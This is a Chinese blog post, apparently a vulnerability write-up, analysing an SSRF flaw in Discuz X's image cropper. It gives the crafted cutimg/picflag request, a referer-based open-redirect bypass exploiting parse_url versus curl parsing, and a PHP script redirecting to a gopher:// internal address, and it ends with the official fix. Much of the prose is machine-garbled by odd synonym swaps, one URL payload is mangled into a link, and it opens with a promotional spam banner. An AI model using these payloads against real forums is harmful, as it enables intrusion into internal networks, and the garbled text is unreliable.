2021最新整理网络安全/渗透测试/安全学习/100份src技能文档(全套视频、CTF、大厂面经、佳构手册、必备工具包、路线)一>关注我,私信回答“资料”获取<一
0x01 漏洞详细剖析Discuz开源地址为Gitee,利用git clone 克隆到本地
git clone https://gitee.com/Discuz/DiscuzX
根据补丁提交记录来切换到漏洞修复前的前一个commit版本
git checkout a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9
本地搭建好运行环境之后首先访问页面http://www.a.com/dz/DiscuzX/upload/misc.php?mod=imgcropper,然后点击裁切按钮并抓包
拦截之后重放数据包在提交内容位置添加参数cutimg和picflag,红框处填写须要要求的IP地址并发送数据包
&cutimg=/dz/DiscuzX/upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540192.168.163.131%26quickforward%3d1&picflag=2
这时做事器将成功收到要求
下面来看看后端是怎么处理的,断点地址为source/module/misc/misc_imgcropper.phpline 54。当通报的picflag为2时取$_G[39;setting']['ftp']['attachurl']变量的值"/"。接下来55行吸收拼接可控变量cutimg。
既然可控,那么就要看看它后面是怎么处理的,来到Thumb方法
进入init方法,到达parse_url方法后在source中解析出了host。此时就会进入dfsockopen
//dz/DiscuzX/upload/member.php?mod=logging&action=logout&referer=//c%23%40192.168.163.131&quickforward=1
parse_url支持//baidu.com/s这种形式的url解析
连续跟进dfsockopen方法,在该方法中又进行理解析,处理同上,由于不存在协议以是scheme为null,这样在末了拼接出来的URL便是://xx.com/,这样的链接会自动补上协议,以是末了为http://://xx.com/。
在windows中利用curl要求该地址终极解析到了192.168.163.1,也便是某个网卡确当地地址。要求路径为http://192.168.163.1/xx.com
此时我们能够进行内网要求,但是地址并不可控,以是须要找到一个discuz可以进行任意url跳转的漏洞,再要求该路径跳转出去。discuz在退出的时候会取get参数referer中的值来进行跳转,下面来剖析跳转处的代码。
function dreferer($default = '') { global $_G; $default = empty($default) && $_ENV['curapp'] ? $_ENV['curapp'].'.php' : ''; //获取 $_GET['referer']参数 $_G['referer'] = !empty($_GET['referer']) ? $_GET['referer'] : $_SERVER['HTTP_REFERER']; $_G['referer'] = substr($_G['referer'], -1) == '?' ? substr($_G['referer'], 0, -1) : $_G['referer']; if(strpos($_G['referer'], 'member.php?mod=logging')) { $_G['referer'] = $default; } $reurl = parse_url($_G['referer']); //如果存在协议则判断是否为http和https,不存在则赓续定 if(!$reurl || (isset($reurl['scheme']) && !in_array(strtolower($reurl['scheme']), array('http', 'https')))) { $_G['referer'] = ''; } if( !empty($reurl['host']) && //判断解析的host是否为 $_SERVER['HTTP_HOST'] !in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) && //判断 $_SERVER['HTTP_HOST']是否存在于解析出的host中 !in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) { if(!in_array($reurl['host'], $_G['setting']['domain']['app']) && !isset($_G['setting']['domain']['list'][$reurl['host']])) { //截取解析的host第一个.后面的所有内容,没有.则当长度为1时则返回为空 $domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1); //$_G['setting']['domain']['root']为array且为空 if(empty($_G['setting']['domain']['root']) || (is_array($_G['setting']['domain']['root']) && //想要不进入这个判断须要担保 $domainroot为空,这样referer才不会被覆盖,才能实现任意地址跳转 !in_array($domainroot, $_G['setting']['domain']['root']))) { $_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php'; } } } elseif(empty($reurl['host'])) { $_G['referer'] = $_G['siteurl'].'./'.$_G['referer']; } $_G['referer'] = durlencode($_G['referer']); return $_G['referer'];}
在上面的代码中只要我们做到$_G['referer']不被覆盖即可,首先解析的host中存在协议则判断是否为http和https,不存在则赓续定,以是我们可以不传入协议。第二处判断解析的host是否为$_SERVER['HTTP_HOST'],如果是则不进入if覆盖$_G['referer']。但是这样的话在实际的ssrf跳转场景中$_SERVER['HTTP_HOST']为空。
以是这个条件无法生效。后面的一个关键判断$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1);会截取解析的host第一个.后面的所有内容,没有.并且当长度为1时则返回为空。返回为空时后面的!in_array($domainroot, $_G['setting']['domain']['root']))这个条件就为false。也就不会进入if判断覆盖$_G['referer']了。但是这儿存在一个问题,如果我们host为a那么末了通过curl跳转的时候就往a跳转了。不能指定任意地址。此时可以利用parse_url和curl的解析差异来绕过这个限定。布局//a#[@1](https://github.com/1 "@1").1.1.1,那么parse_url将解析host为a,而curl解析host为1.1.1.1。以是就得到告终构的完全url。
0x02 漏洞利用
末了的利用流程为:ssrf访问本地接口进行URL跳转301>跳转到目标做事器,做事器上利用跳转脚本进行协议转换或者任意路径访问
=302=>
通过指定协议如gopher,访问指定路径/_test…等
首先通过做事器搭建跳转脚本index.php
<?phpheader("Location: gopher://127.0.0.1:2333/_test");?>
本地进行nc监听
ssrf跳转做事器地址
成功将要求转发到本地发送test
0x03 漏洞修复方法
官方在[补丁提交记录[2]的版本提交中对漏洞进行了修复,修复办法为重写了dfsockopen中调用的parse_url为_parse_url,在该方法中止定了parse_url是否能够解析出协议,无法解析则退出。
0x04 总结
这个漏洞的成功利用离不开对parse_url解析特性的理解,parse_url成功从cutimg变量中解析出host,才能调用dfsockopen方法,在该方法中利用curl要求拼接了前缀的地址://xx.com。这将要求本地地址,通过探求discuz的url跳转来将本地要求转发出去。而在url跳转的利用中利用到了parse_url和curl对//a#[@1](https://github.com/1 "@1").1.1.1的解析差异来完成任意地址访问。末了在访问地址利用302跳转来达到利用指定协议要求指定路径或发送数据的目的。